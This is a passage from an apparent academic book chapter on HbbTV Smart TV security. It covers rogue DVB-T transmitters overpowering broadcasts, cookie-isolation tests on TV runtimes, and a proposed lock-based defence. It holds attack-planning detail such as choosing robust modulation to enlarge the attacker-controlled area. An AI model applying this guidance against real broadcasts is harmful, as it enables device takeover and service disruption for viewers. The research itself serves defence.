CCPRs and the PLE n. The regular broadcast’s CCPR αreg cannot be influenced
by the attacker, whereas the rogue signal’s CCPR αrogue can be influenced to some
degree as described in Sect. 3.7.5. Figure 3.13a shows the simplified signal strengths
of the regular broadcast station and a rogue station, only affected by FSPL. The
rogue station with an output power of 30 dBm is placed at 15 km distance from the
regular broadcast station with an output power of 60 dBm. The figure shows the
required CCPRs and the resulting ranges of the rogue and mush zones.
Using (3.15), the relation between attacker-controlled and attacker-affected area
becomes
2
Acontrolled π drogue
2
drogue α +α
− rogue5n reg
= = = 10 . (3.16)
Aaffected π dreg
2 dreg
Fig. 3.11 Percentage of attacker-controlled area out of total attacker-affected area, for various
PLEs n (d0 = 1 m). Regular station uses 16-QAM and 64-QAM with CR 2/3 (αreg = 10 dB and
15 dB); rogue station uses identical settings (αrogue = αreg ) and the most robust settings, i.e., QPSK
with CR 1/2 (αrogue = 2.5 dB)
Overpowering a 16-QAM, CR 2/3 broadcast creates a mush area 99 times

the size of the attacker-controlled area, assuming an FSPL propagation model
(n = 2). This is a huge collateral damage and greatly reduces the stealthi-
ness of the untargeted terrestrial attack. Figure 3.11 shows the percentage of
attacker-controlled area for various PLEs n and CCPRs αrogue ; the correspond-
ing remaining area is the mush zone.
3.7.5 Variations
An attacker could increase the controlled area by decreasing the required CCPR
αrogue , i.e., choose a more robust modulation and code rate. QPSK with CR 1/2
yields the greatest robustness, requiring a CCPR of only approximately 2.5 dB as
compared to, e.g., 10 dB for 16-QAM with CR 2/3 (cf. Fig. 3.9). The drawback is
a reduced available bitrate (factor three for the above example [11]), which cannot
accommodate the original transport stream. This means that the attacker either has
to decrease the A/V quality by using a higher compression level or remove other
elementary streams or programs from the transport stream. Reduced picture quality
and potential delays from further compression of the MPEG streams are likely to
66 3 Broadcast
Fig. 3.12 Relation between rogue and mush zone for differing transmission parameters (16-QAM
CR 2/3 vs. QPSK CR 1/2). On the left is the regular broadcast station and on the right the rogue
station, which is surrounded by mush zone. The inner shaded annulus is caused by CCPR αrogue =
2.5 dB and the outer by αreg = 10 dB. The mush area is over 16 times the size of the attacker-
controlled area for these settings
be noticed; the same holds true for the removal of other program components. It
depends on the attacker’s goals if this is an option.
We verified experimentally that this attack is possible. The TV is tuned to the
regular broadcast when the rogue transmitter is started using different settings for
modulation and CR. Apart from a very brief minor glitch common in terrestrial
broadcasts, the program continues to run on the TV. There is no need to change the
channel or even perform a channel rescan; the TV automatically detects the changed
transmission parameters by analyzing the data transmitted in the Transmission Para-
meter Signalling (TPS) carriers (see Sect. 3.2).
Figure 3.13b is identical to Fig. 3.13a except that this time the rogue signal is
using different transmission parameters: QPSK with CR 1/2 instead of 16-QAM
with CR 2/3. The result is an increased rogue area and a slightly decreased mush
area, as shown in Fig. 3.12.
3.8 Cookie Jar Isolation
Authentication on the Web generally works by sending login credentials to a web

server, which associates a temporal session identifier with the user if the credentials
are valid. This session ID is passed back to the client, which from then on submits
it with every further HTTP(S) request to this server. This allows server and client to
maintain an authenticated session over the otherwise stateless HTTP protocol.
3.8 Cookie Jar Isolation 67
(a)
−20 Regular
Signal strength at receiver antenna in [dBm]
Rogue
CCPR
−30
−40
−50
−60
regular mush rogue mush regular

−70
13 15 17
Distance from regular broadcast station in [km]
(b)
−20 Regular
Signal strength at receiver antenna in [dBm]
Rogue
CCPR
−30
−40
−50
−60
regular mush rogue mush regular

−70
13 15 17
Distance from regular broadcast station in [km]
Fig. 3.13 Rogue station with 30 dBm output at 15 km distance from regular station with 60 dBm
output, considering FSPL (n = 2) and CCPR. Regular station uses 16-QAM CR 2/3 (αreg = 10) a
Rogue and regular station use 16-QAM CR 2/3 (αrogue = αreg = 10) b Rogue station uses robust
QPSK CR 1/2 (αrogue = 2.5)
Most commonly, the session ID is transmitted in the form of an HTTP cookie,

which is set in the message header as specified in RFC 6265 [4]. The user agent
handles transmission and storage of cookies, but allows the web site to access them
programmatically via JavaScript. A stolen session ID can be used by an attacker for
authenticated communication with the server until the ID is invalidated.
68 3 Broadcast
To impede cookie theft, session cookies usually employ further protection mech-
anisms. The HttpOnly flag prohibits the application from accessing the cookie, and
the Secure flag makes sure it is only transported over SSL/TLS-protected connec-
tions. Furthermore, session cookies generally exist only in temporary memory and
are deleted once the browser is closed, or invalidated after a certain period of inac-
tivity.
3.8.1 Authenticated Request Forgery
Previous work [37] claimed that it is possible to launch authenticated request forgery
attacks via broadcast-delivered HbbTV apps, i.e., apps transported in the DSM-CC
object carousel. The HbbTV standard [16] allows the broadcaster to explicitly spec-
ify the origin [5]—scheme, host, port—of these apps in the AIT3 . Web browsers use
the same-origin policy to limit the interaction between content loaded from separate
origins, i.e., a script on one site is not allowed to access embedded data from another
site. A broadcast-delivered app, however, can embed a victim site (loaded over the
broadband connection) in an iframe and pretend to have the same origin, which
allows the app to arbitrarily access and interact with the victim site—the protection
offered by the same-origin policy is rendered useless. According to the authors, if
the victim user had previously authenticated to a web site using another application
on the STV, requests from the malicious HbbTV app to this site would include the
session cookie (or other authentication tokens).
We have evaluated this claim and come to the conclusion that this attack is
unlikely to work in practice. For the attack to work, it is crucial that the HbbTV run-
time shares a common cookie jar with the web browser and/or the app engine. Most
web sites use temporary session cookies to authenticate requests of logged-in users,
which generally expire after a certain period of inactivity, a user logout request, or
once the respective “browsing session” is terminated [4]—on STVs, session cookies
should be deleted at the latest when the device is turned off. For an improved usabil-
ity, however, many popular web sites allow users to automatically log in when they
return to the site; this functionality is often implemented using additional persistent
cookies. With session cookies, there is thus the additional restriction that an attack
has to take place shortly after the user has authenticated to a web site, otherwise
the cookie will have expired; this restriction does not apply for the automatic login,
though.
3 via the simple_application_boundary_descriptor

3.8.2 Analysis
We analyzed several Smart TV models from all major vendors on the German mar-
ket [48] to assess the validity of these claims. For this, a web server was configured
to set cookies and deliver a CE-HTML test application (i.e., web site) that sets cook-
ies on the client side, too. This web site was then successively accessed via HbbTV,
the web browser, and the app engine, all using the same URL. The output of the web
application and the server logs allowed us to analyze the cookie isolation between
the different runtimes.
For HbbTV, the test application was accessed by signaling its location in the
broadcast stream. To assess the web browser, the URL was typed into the address
bar. Finally, existing apps were instrumentalized to evaluate the app engines without
having to develop apps for every STV platform. For this, the apps had to be forced
into accessing the test application, using the same URL as the other runtimes. To
change the domain part of the URL, DNS queries issued by the apps were resolved
to point to our web server via Canonical Name (CNAME) records; the path component
of the URL was then set using HTTP redirects. This allowed us to assess if cookies
set by one runtime were present in the other runtimes.
3.8.3 Results
The results of our experimental analysis are listed in Table 3.4. Check marks repre-
sent correct cookie handling behavior, i.e., session cookies are deleted after a reboot
(at the latest) and persistent cookies survive reboots.
None of the examined Smart TVs share cookies between the web browser
and the HbbTV runtime. Interestingly, two of the STVs share the cookie store
between the app runtime and the HbbTV runtime. This, however, is only the
case for persistent cookies; session cookies are never shared across runtimes,
they are deleted while switching between the runtimes. Due to this experi-
mental evidence we believe that the proposed authenticated request forgery
attack [37] does not pose a threat in practice.
There is, however, another threat for devices that use the same runtime for
HbbTV and regular apps. Apps are generally allowed to use a file system API to
store data on the device’s persistent storage. This is frequently used by apps to store
the user’s login credentials, so they only have to be entered once. If this API is
inadvertently accessible from an HbbTV app, the app might be able to steal the
login information using the false origin trick. Vendors should therefore ensure that
only the APIs defined by the HbbTV specification are available to HbbTV apps.
The errata document for HbbTV [23] published in August 2014 removed any threat
70
Table 3.4 Cookie handling in various web runtimes on Smart TVs (S = session cookies, P= persistent cookies, I = independent cookie store)
Vendor Year HbbTV Browser Apps
User Agent S P I User Agent S P I User Agent S P I
Samsung 2012 WebKit ✓ ✗ ✓ WebKit/534.7 ✓ ✓ ✓ WebKit/534.7 ✓ ✓ ✓
2013 WebKit ✓ ✓ ✓ Chrome/24.0.1312.52 ✓ ✓ ✓ WebKit/535.20+ ✓ ✓ ✓
2014 WebKit ✗ ✓ ✓ Chrome/25.0.1349.2 ✓ ✓ ✓ WebKit/537.42+ ✓ ✓ ✓
LG 2013 WebKit/537.1 ✓ ✓ ✗ Chrome/22.0.1229.79 ✗ ✓ ✓ WebKit/537.1+ ✓ ✓ ✗
2014 WebKit/537.1 ✓ ✓ ✓ Chrome/26.0.1410.33 ✗ ✓ ✓ WebKit/537.41 ✓ ✓ ✓
Sony 2014 Opera/12.50 ✓ ✓ ✓ Opera/12.50 ✓ ✓ ✓ Sony DTV/2014 ✗ ✗ ✓
Philips 2014 Opera/12.50 ✓ ✓ ✗ Chrome/29.0.1547.80 ✗ ✓ ✓ Opera/12.50 ✓ ✓ ✗
Panasonic 2013 Viera 3.720 ✓ ✓ ✓ Chrome/23.0.1271.97 ✓ ✓ ✓ Mozilla/4.0 ✓ ✗ ✓
3 Broadcast
potential with regard to malicious origins specified in the AIT. The specification now
mandates that the origin for all broadcast-delivered resources start with the dvb://
scheme.4
During our experiments, we stumbled upon a new feature on two of the tested
upper class models from 2014, the Samsung HU8590 (but not the H6470) and the
Sony 50W815B. This feature greatly reduces the required startup time and is called
Instant On by Samsung. Apparently the STV is not turned off when the power button
is pressed on the remote, but rather sent to a standby state comparable to that on PCs.
The operating system and running applications are therefore only paused and don’t
have to be restarted from scratch when the STV is turned on again. It seems as if
Sony has implemented a similar feature, although we could not find any information
on that.
This feature, however, has an interesting security-relevant side effect. According
to RFC 6265 [4], the user agent must remove any session cookies from the cookie
store when “the current session is over”. From a user perspective, the session is
expected to be over when the STV is turned off with the remote. Technically though,
the STV only enters standby. Nevertheless, the expected behavior is the deletion of
all session cookies, as any browsing session should be considered terminated.
Our experiments revealed that this was not correctly implemented and that the
Instant On after standby feature leads to session cookies not being deleted. On the
Samsung TV, the HbbTV browser is affected, whereas with the Sony TV it is the app
runtime. Only after physically unplugging the power chord for a couple of seconds
were the session cookies deleted. Table 3.4 shows that there are further TV models
that do not correctly delete session cookies after reboot; however, this is likely to be
caused by other implementation flaws.
3.8.4 Side Effects
The lack of persistent HbbTV cookie storage can have further implications on appli-
cations that rely on correct cookie handling behavior. Persistent cookies are often
used to track and uniquely identify devices across restarts; for example, to conduct
market research on the number of unique devices accessing a service. Devices that
fail to correctly store persistent cookies, however, might be counted multiple times.
The popular 2012 Samsung STV listed in Table 3.4, for instance, does not imple-
ment persistent HbbTV cookie storage; this is, however, in compliance with the
initial HbbTV 1.0 specification [14] (cf. Sect. 3.4.1).
German marketer SevenOne Media has been recording the number of unique
devices that access the HbbTV service of the German broadcast program ProSieben,
amounting to approximately ten million per month [45]. This data was collected
by embedding tracking pixels into the initially loaded HbbTV resource—the red
button app—which is fetched from the broadcaster every time the user switches
to this program. The measured results might be too optimistic, though, as some
4 dvb://original_network_id.transport_stream_id.service_id.component_tag
72 3 Broadcast
of the STVs are unable to persist the required HTTP cookies across restarts. As a
result, these STVs cannot be tracked properly and thus might appear as multiple
unique devices in the statistic, possibly increasing advertisement revenues due to an
overestimated market reach. From the published material, however, it is unclear to
what degree this issue has been considered in the study.
3.9 A Novel Protection Scheme
As information security expert Bruce Schneier puts it, “threat modeling is the first
step in any security solution” [43]. It is thus important to fully understand the attack
space before designing protection measures. However, it is also important to under-
stand commercial requirements, as there is no sense in having a bulletproof system
that is too complex or expensive for being adopted by the industry or customers. An
example is MHP, which allowed for authenticated apps; these were never used due
to the involved costs and the unclear benefit.
In a perfect world, protection measures would be 100% secure and thus sufficient
to protect a system. In reality this is not the case, so protection has to be extended
with detection and reaction [43]. An analogy given by Schneier is a safe, which is
rated to withstand an attack only for a specified duration. To successfully protect the
content of the safe, an attack in progress has to be detected by alarms and this must
generate a reaction by guards within the required time frame. We apply this analogy
to propose an efficient security solution for HbbTV.
3.9.1 Attack Properties
This chapter discussed a number of HbbTV-related attacks, which can be used to

identify their threat potential and limitations. Most importantly, protection measures
have to include users that remain tuned to a particular channel for the entire duration
of an attack, i.e., there is zero user interaction during the attack. In addition, we will
consider the case where the user tunes to a channel under attack.
Low Risk As discussed in Sects. 3.4.2 and 3.8, authenticated request forgery is very
unlikely to become a threat in practice. Other proposed attacks such as distributed
denial-of-service (DDoS) and unauthenticated request forgery [37] lack an incentive
for criminals, especially in light of the severely reduced attack range due to required
CCPRs (cf. Sect. 3.7).
High Risk What remains is HbbTV-delivered malware, which is able to perma-
nently compromise the security of Smart TVs and thus the security and privacy of
the user. We identify this as the most dangerous threat, which has to be addressed
by a new security system.
3.9 A Novel Protection Scheme 73
Duration Infecting a Smart TV via HbbTV requires the attacker to operate a rogue
broadcast station for approximately ten seconds (see Sect. 3.6.6). It is the counter-
part to the safe’s rating as to how long it can withstand an attack. This has important
implications: First, an attack can only be detected during this short time frame. Sec-
ond, it is nearly impossible to react and stop the rogue transmitter from finishing the
infection within this short time frame.
Detection Overpowering DVB signals yields reliable opportunities for detection.
The comparatively large mush zone (see Sect. 3.7.4) created by an attack in progress
results in a large number of customers without service, who are likely to file com-
plaints. The larger the area and the longer the attack, the more likely is a complaint.
In addition, broadcasters can operate a limited number of simple receivers to imme-
diately detect, locate, and report commencing attacks. Alternatively, data collected
for market research—repeated requests to the HbbTV service of the broadcaster
while the STV is tuned to a channel—could be analyzed by the broadcaster in real-
time: A simultaneous loss of a significant number of viewers belonging to the same
geographical area could indicate potential attacks. This intrusion detection system
(IDS) will raise an alarm that triggers a reaction by security personnel to shut down
the rogue transmitter.
3.9.2 Lock-Based Protection
When a terrestrial receiver is tuned to a channel, it reads out the information from
the Transmission Parameter Signalling (TPS) carriers to determine the transmission
parameters (see Sect. 3.2.2). It then searches the received transport stream for the
bit-wise inverted MPEG-2 sync byte [11]. This byte is sent at the beginning of every
eight transport packets and is required to synchronize the Pseudo-Random Binary
Signal (PRBS) generator, after which the receiver is synchronized, i.e., locked to the
broadcast signal.
If an attacker overpowers the regular broadcast, the receiver will briefly lose this
lock, only to regain it from the rogue signal. This produces only barely noticeable
artifacts on the screen, nothing unusual or suspicious for a broadcast transmission.
The receiver, however, is well aware of the interruption in lock status, as can be
seen on the Smart TV’s serial output in Listing 3.4. This effect can be leveraged
to implement a simple, yet highly effective protection measure, comparable to a
tripwire.
If a receiver loses the lock to a broadcast signal, any subsequent changes that
occur in the AIT and the DSM-CC carousel shall be ignored for a specified
period of time. During this time, receivers will revert to cached versions of the
last valid AIT and object carousel.
74 3 Broadcast
Borrowing the safe analogy, this countermeasure increases the time Smart TVs
are able to withstand an attack, thus providing law enforcement with the required
time to take down the rogue broadcast station before any damage is done. A sensible
default can be specified for the required time, which can be adapted to specific local
requirements using a new entry in the AIT.
Listing 3.4 Serial output on 2012 Samsung TV during an attack with a rogue station
1 TunerInstance [0] , Demodulator Lock StatusChanged [1] - >[0]
2 TunerInstance [0] , Demodulator Lock StatusChanged [0] - >[1]
Channel Switch
The lock-based protection works well for users who are already tuned to the channel
before the attack commences. This includes switching between programs on the
same multiplex, i.e., physical channel.
An important question is how to treat changing between channels that are
transported in different multiplexes. Naturally, switching between these programs
requires the receiver to tune to a different channel, thereby losing and regaining the
signal lock.
Our protection mechanism would therefore unnecessarily ignore potential legit-
imate changes in the AIT and carousel for the specified backoff time. The result
would be a (minor) inconvenience for users, as they would potentially receive
these updates delayed. These updates, however, occur rather seldom, as changes
to HbbTV apps are normally implemented within the app.
This limitation regarding AIT update propagation can be overcome by introduc-
ing a new HTTP header that signals valid URLs for HbbTV apps of a program.
This leverages the trust the STV has in the old URL to transition to a new URL. An
exemplary header could have the following form:
Listing 3.5 HTTP header for HbbTV associations
1 HbbTV - Association : URL - Base = http :// itv . ard . de / ardstart ;
2 Initial - Path = index . html ;
3 Max - Age =31536000
Similarly, content in the object carousel could be signed with a (self-signed) cer-
tificate, which is included in the object carousel. Any content signed by this certifi-
cate would be considered authentic. It could also be used to sign new certificates if
needed.
Reporting
Smart TVs’ ability to monitor the broadcast signal and detect the loss of a locked
signal could be leveraged to establish a distributed infrastructure that is able to detect
and report commencing attacks in real-time. Smart TV owners could be asked for
permission to collect and share anonymized data regarding their broadcast signal,
collected by their STV. This data could then be used exclusively for technical pur-
poses, such as the detection and localization of attacks, and the overall improvement
of the signal quality. The collected data could include information on the signal
strength and quality, the transmission parameters, and the signaled HbbTV applica-
tions. Data transmission could occur either regularly or be triggered by anomalies
such as a sudden continuous increase in signal strength or changes to an AIT.
Impractical Alternative
An alternative solution would be the straightforward implementation of a certifi-

cate authority (CA) that issues certificates only to legitimate broadcasters, similar
to what was implemented for MHP. This approach has several drawbacks, as we
learned in discussions with the HbbTV group. A costly CA would have to be set up
and operated, although existing CAs would probably agree to issue certificates to a
closed group only.
But more difficult to solve is the question of legitimacy: Small companies from
all over the world would have to apply for a certificate and someone—for example,
the HbbTV group—would have to decide who has the right to sign HbbTV apps.
Any station would become vulnerable if a certificate is issued to a single malicious
company or if that company is compromised: The attacker controls the URL and
can thus apply for a perfectly valid certificate. The same holds true for centrally
administered white lists, etc. Clearly these alternatives would not satisfyingly solve
the problem.
3.9.3 Long-Term Solution
In the long run, a solution should be developed that enables receivers to verify the
authenticity of the entire (DVB) broadcast transmission, not only the parts related to
applications. This is required to prevent additional attacks in which the A/V content
is manipulated to trick users into calling expensive phone numbers, for example.
In general, all the links towards the TV tower or satellite uplink station can be
trusted, as they are protected either by cryptographic or physical means. Terrestrial
transmissions and satellite links, however, are not trustworthy, as the broadcast sig-
nal is not protected over the air5 . In contrast, other wireless networks such as WiFi
and GSM offer cryptographic means to protect the wireless transmission link. These
networks use pre-shared symmetric keys, which works well for point-to-point com-
munication: The same key is used to sign and to verify the authenticity of messages.
For source authentication of broadcast transmissions [39], however, symmetric
keys are unsuitable. Receivers would have to be in possession of the secret key
5 This might apply to some cable installations, too.

76 3 Broadcast
used for verification, which in turn would enable them to sign messages, too. There-
fore some form of asymmetric cryptography is required, so that only the legitimate
broadcaster is able to generate authentic broadcasts. The following is a rough sketch
of a potential backward-compatible source authentication scheme for DVB.
Signatures are created per elementary stream (ES), allowing a great amount of
flexibility. PSI and SI tables are signed periodically, and the A/V stream data is
signed in chunks. Signatures can be combined into a single ES or distributed over
multiple ESs. For (P)SI tables, signatures have to be verified only if they change,
whereas A/V content is verified continuously.
In general, (P)SI table content does not change frequently; signature verifica-
tion should therefore pose no burden on receivers with low processing capabilities.
Asymmetric signatures on high-bandwidth A/V streams, however, are more chal-
lenging. Resource-constrained receivers must be able to verify signatures at a low
rate, at the cost of either delayed playback or delayed detection of manipulation, or
both. If a manipulation is detected, the STV can notify the user with an overlay on
the screen; a short delay may be acceptable in this case. A single signature should
authenticate multiple overlapping chunk sizes at once, which would allow receivers
to skip signatures for performance reasons while maintaining the same level of secu-
rity at the cost of increased delays. The necessary certificates are included in the
elementary stream; they can be either self-signed and accepted during the initial
channel scan, or signed by a DVB-approved authority.
3.9.4 Discussion
The proposed lock-based protection scheme is very simple to implement, can be

delivered with a firmware update, and is completely backward compatible. There is
no overhead for any kind of central authority, HbbTV maintains its flexible decen-
tral structure. Any attack can be detected and stopped before damage is done. We
successfully evaluated this method on three different receivers, two Smart TVs and
a USB-based receiver.
Our solution does not interfere with the normal operation of HbbTV. In gen-
eral, the AIT does not change frequently, and if it does, the changes are picked up
by receivers immediately. Only receivers with very unstable signal coverage may
experience delayed AIT updates, but this should be a rare exception.
To circumvent receivers from losing the lock, an attacker would have to precisely
synchronize the rogue signal with the regular signal. The rogue transmitter including
the amplifier would then have to start the transmission exactly when the inverted
sync byte is on air. Furthermore, the regular broadcast signal is distorted on its
way from the broadcast station to the receiver, where the channel is estimated to
compensate the distortion. The rogue signal, however, will be subject to different
distortions that cannot be anticipated by the attacker. This makes it very difficult—if
not impossible—for an attacker to not interrupt the receivers’ signal lock. However,
this is an interesting attack vector and its difficulty and cost should be analyzed in
future research.
In any case, an attacker would not be able to increase the controlled area by
choosing a more robust modulation and code rate as described in Sect. 3.7.5. This
change can be detected easily.
An additional protection for gap fillers could be to operate them near saturation.
Overpowering the input signal—taking into account the required CCPR—would
then drive the amplifier into saturation, thus destroying the signal.
To further increase the security and privacy of HbbTV, autostart applications
could be removed from the specification. The presence of an HbbTV application
could then be indicated to the user via a custom image file delivered via the DSM-
CC carousel. The advantage would be that the TV does not transmit any information
to the broadcaster, unless the user explicitly starts the application by pressing the red
button. Furthermore, an attacker with a rogue transmitter would have to wait for the
user to manually start the malicious app, greatly reducing the attack’s reach.
3.10 Conclusions
Broadcast transmissions in DVB systems are unauthenticated and therefore receivers

cannot verify the origin and integrity of a received broadcast signal. This vulnera-
bility is inherited by HbbTV, which relies on the DVB stream to signal and transport
HbbTV applications.
This implicit trust in any broadcast station enables an attack, in which a rogue
broadcast station is able to overpower a regular broadcast, on the same radio fre-
quency. This can take the form of a MITM attack, where the attacker rebroadcasts
a maliciously modified version of the regular broadcast. The attack requires no user
interaction and is invisible to the victim, as the (malicious) broadcaster controls the
life cycle and visibility of HbbTV applications.
A rogue station can be leveraged to deliver apps that attack the fragile software
stacks of Smart TVs. Particularly vulnerable components are the HbbTV browser
runtime and the media playback system, as both have a high degree of complexity.
We demonstrated that it is possible to gain complete, permanent control over a
Smart TV via HbbTV. To this end, we set up a rogue transmitter, performed a MITM
attack at the radio layer, and delivered an HbbTV app that gained control over the
Smart TV through its media playback system. The entire infection takes less than
ten seconds and is invisible to the user.
There are, however, severe limitations regarding the range of the rogue signal.
Overpowering the regular broadcast creates a mush zone in which neither signal
can be decoded by the receiver. The collateral damage is huge, with the mush zone
covering up to several hundred times the area controlled by the attacker, depending
on a variety of factors. This allows the authorities to quickly identify the geograph-
ical location of the rogue transmitter and severely limits previously assumed attack
ranges and their stealthiness.
78 3 Broadcast
Furthermore, we have performed experiments to assess the feasibility of a pre-

viously proposed authenticated request forgery attack. We come to the conclusion
that this attack is unlikely to work in practice, and also that the theoretical threat
was removed in an updated version of the HbbTV standard.
We have proposed an effective, simple, and backward-compatible security sys-
tem for HbbTV. This system leverages the brief loss of signal lock to detect and
block a commencing attack, providing authorities with the required time to shut
down the rogue transmitter before damage is done.
Further research is needed to assess the threat potential of attacks against regional
DVB-T repeaters, cable TV headends, and satellite-assisted attacks. Competing
standards for interactive DTV, such as DVB-MHP, MHEG-5, and Ginga, should
be analyzed to determine their potential for similar malware delivery. Another inter-
esting field would be research on synchronizing (low- to medium-cost) rogue trans-
mitters to regular broadcast stations.
References
1. Associação Brasileira de Normas Técnicas. Digital terrestrial television – Data coding and
transmission specification (ABNT NBR 15606), 2015.
2. Australian Communications and Media Authority. Digital television terrestrial self-help
retransmission services, 2014. http://www.acma.gov.au/Industry/Broadcast/Spectrum-for-
broadcasting/Broadcast-planning/digital-television-terrestrial-self-help-retransmission-
services.
3. Avalpa. OpenCaster, Sept. 2013. http://www.avalpa.com/the-key-values.
4. A. Barth. HTTP state management mechanism, April 2011. RFC6265.
5. A. Barth. The web origin concept, December 2011. RFC6454.
6. CEA. CEA-2014 revision A - Web-based Protocol and Framework for Remote User Interface
on UPnP Networks and the Internet (Web4CE). Consumer Electronics Association, Jan. 2007.
7. Deutsche TV-Plattform. Wachstumsmarkt Smart-TV und HbbTV in Deutschland, Apr. 2015.
http://www.tv-plattform.de/de/hbbtv-markt-2014.html.
8. Digital TV Research. Digital TV world household databook. June 2014.
9. ETSI. Digital Video Broadcasting (DVB); Framing structure, channel coding and modulation
for 11/12 GHz satellite services (EN 300 421 V1.1.2). European Telecommunications Stan-
dards Institute, Aug. 1997.
for cable systems (EN 300 429 V1.2.1). European Telecommunications Standards Institute,
Apr. 1998.
for digital terrestrial television (EN 300 744 V1.6.1). European Telecommunications Stan-
dards Institute, Jan. 2009.
12. ETSI. Digital Video Broadcasting (DVB); Multimedia Home Platform (MHP) Specification
1.2.2 (TS 102 727 V1.1.1), Jan. 2010.
13. ETSI. Digital Video Broadcasting (DVB); Signalling and carriage of interactive applications
and services in Hybrid broadcast/broadband environments (TS 102 809 V1.1.1). European
Telecommunications Standards Institute, Jan. 2010.
Standards Institute, June 2010.
References 79
15. ETSI. Digital Video Broadcasting (DVB); Implementation guidelines for DVB terrestrial ser-
vices; Transmission aspects (TR 101 190 V1.3.2). European Telecommunications Standards
Institute, May 2011.
17. ETSI. MHEG-5 Broadcast Profile (ES 202 184 V2.3.1). European Telecommunications Stan-
dards Institute, Jan. 2013.
18. ETSI. Digital Video Broadcasting (DVB); Specification for the use of Video and Audio Coding
in Broadcasting Applications based on the MPEG-2 Transport Stream (TS 101 154 V2.1.1).
European Telecommunications Standards Institute, Mar. 2015.
19. W. Fischer. Digital Video and Audio Broadcasting Technology. Springer, Heidelberg, 3rd edi-
tion, 2010.
20. J. Fritz. Satellite hacking: A guide for the perplexed. Culture Mandala: The Bulletin of the
Centre for East-West Cultural and Economic Studies, 10(1):3, 2013. http://www.international-
relations.com/CM2012/Satellite-Hacking.pdf.
21. M. Ghiglieri, F. Oswald, and E. Tews. HbbTV – I know what you are watching. In 13.
Deutscher IT-Sicherheitskongress. SecuMedia Verlags-GmbH, May 2013.
22. M. Ghiglieri and E. Tews. A privacy protection system for HbbTV in Smart TVs. In 11th
Consumer Communications and Networking Conference (CCNC), pages 357–362. IEEE, Jan.
2014.
23. HbbTV Association. ETSI TS 102 796 V1.2.1 Errata 2, Aug. 2014. https://www.hbbtv.org/
pages/about_hbbtv/TS102796-v121-errata-2.pdf.
24. HbbTV Association. Hbbtv 2.0 specification. Feb. 2015. https://www.hbbtv.org/pages/about_
hbbtv/specification-2.php.
25. HbbTV Association. HbbTV and security. May 2015. https://www.hbbtv.org/pages/about_
hbbtv/security-text-for-web-site-draft-07.pdf.
26. HbbTV Forum Nederland. Specification for use of HbbTV in the Netherlands Version 1.0.
http://hbbtv.nu/wp-content/uploads/2013/06/130501_Appproved_HbbNL_Spec_1.0.pdf.
27. M. Herfurt. Security concerns with HbbTV. Blog post, Martin Herfurt’s Blog, June 2013.
https://mherfurt.wordpress.com/2013/06/01/security-concerns-with-hbbtv.
28. ISO/IEC. Information technology – Generic coding of moving pictures and associated audio
information – Part 3: Audio (13818-3:1998), Apr. 1998.
information – Part 1: Systems (13818-1:2013), June 2013.
information – Part 2: Video (13818-2:2013), Oct. 2013.
31. ITU. Planning criteria, including protection ratios, for digital terrestrial television services
in the VHF/UHF bands (Recommendation ITU-R BT.1368-12). International Telecommunica-
tions Union, Feb. 2015.
33. K. Merkel. HbbTV – Status und Ausblick, Jan. 2014. http://www.vprt.de/sites/default/files/
documents/2014-01-27_TIF_HbbTV_Merkel.pdf.
34. U. Meyer and S. Wetzel. On the impact of GSM encryption and man-in-the-middle attacks on
the security of interoperating GSM/UMTS networks. In 15th IEEE International Symposium
on Personal, Indoor and Mobile Radio Communications (PIMRC), volume 4, pages 2876–
2883. IEEE, 2004.
pages 351–356. IEEE, Jan. 2014.
36. Open IPTV Forum. Open IPTV Forum Release 1 Specification Volume 5 – Declarative Appli-
cation Environment V1.2, Sept. 2012.
37. Y. Oren and A. D. Keromytis. From the aether to the ethernet – Attacking the Internet using
broadcast digital television. In Proceedings of the 23rd USENIX Security Symposium (USENIX
Security ’14), San Diego, CA, Aug. 2014. USENIX Association.
80 3 Broadcast
38. C. Perez-Vega, J. L. García, and J. M. L. Higuera. A simple and efficient model for indoor
path-loss prediction. Measurement Science and Technology, 8(10):1166–1173, 1997.
39. A. Perrig and J. D. Tygar. Secure Broadcast Communication. In Wired and Wireless Networks.
Springer, 2003.
40. C. Pérez-Vega and J. L. García. Frequency behavior of a power-law path loss model. In Pro-
ceedings of the 10th Microcoll, Budapest, Hungary, Mar. 1999.
41. T. S. Rappaport. Wireless Communications: Principles and Practice. Prentice Hall Communi-
cations Engineering and Emerging Technologies Series. Prentice Hall PTR, 2nd edition, 2002.
42. U. Reimers, editor. DVB – Digitale Fernsehtechnik. Datenkompression und Übertragung.
Springer, 3rd edition, 2008.
43. B. Schneier. Secrets & Lies: Digital Security in a Networked World. Wiley, New York, 1st
edition, 2000.
44. S. Y. Seidel, T. S. Rappaport, S. Jain, M. L. Lord, and R. Singh. Path loss, scattering and mul-
tipath delay statistics in four European cities for digital cellular and microcellular radiotele-
phone. Vehicular Technology, IEEE Transactions on, 40(4):721–730, 1991.
45. SevenOne Media. Connected TV reach May 2015. https://www.sevenonemedia.de/web/
sevenone/research/ctv/leistungswerte, June 2015.
46. Small Media. Satellite jamming in Iran: A war over airwaves. Nov. 2012. http://smallmedia.
org.uk/sites/default/files/Satellite%20Jamming.pdf.
47. Task Force DVB-T Deutschland von ARD und ZDF, Institut für Rundfunktech-
nik München. Sender- und Programmliste Deutschland. http://www.ueberallfernsehen.de/
dvbtdownloads127.pdf, Aug. 2014.
48. TNS Infratest. Digitalisierungsbericht 2014: Daten und Fakten. Technical report,
Die Medienanstalten, July 2014. http://www.die-medienanstalten.de/publikationen/
digitalisierungsbericht.html.
49. E. J. Tozer, editor. Broadcast Engineer’s Reference Book. Focal Press, 2004.
50. C. P. Williams. Explorations in Quantum Computing. Texts in Computer Science. Springer,
2010.
51. World Wide Web Consortium. http://www.w3.org.
Chapter 4
Security & Privacy Implications
Abstract An insecure Smart TV ecosystem has implications for all of the involved
parties: Consumers, content providers, vendors, and broadcasters. Implications
include severe privacy and even safety issues for consumers, compromised DRM
systems for content providers, as well as a lack of trust in vendors and broadcasters.
4.1 Consumers
Throughout the world, well over one hundred million Smart TVs have been con-
nected to the Internet [8], placed in sensitive locations such as living rooms and
bedrooms. Consumers have started to actually use STV features, especially video on
demand (VOD) services and local playback of movie files. But also web browsers and
social networks are gaining traction, and we are likely to see TV-assisted shopping
offers. This incentivizes users to store credentials on their STVs, and thus to trust
them. STVs are connected to private local networks, and also corporate networks.
Many people also use them as a primary source of information by accessing news
content. Finally, some STV models have a built-in camera and microphone, to facil-
itate gesture and voice control. At a conference [15, 16] and on several occasions in
major German news magazines [20] and TV programs [2] we demonstrated how an
attacker can gain unauthorized access to this hardware.
4.1.1 Threats
The increasing integration of STVs in our daily lives has the potential to threaten the
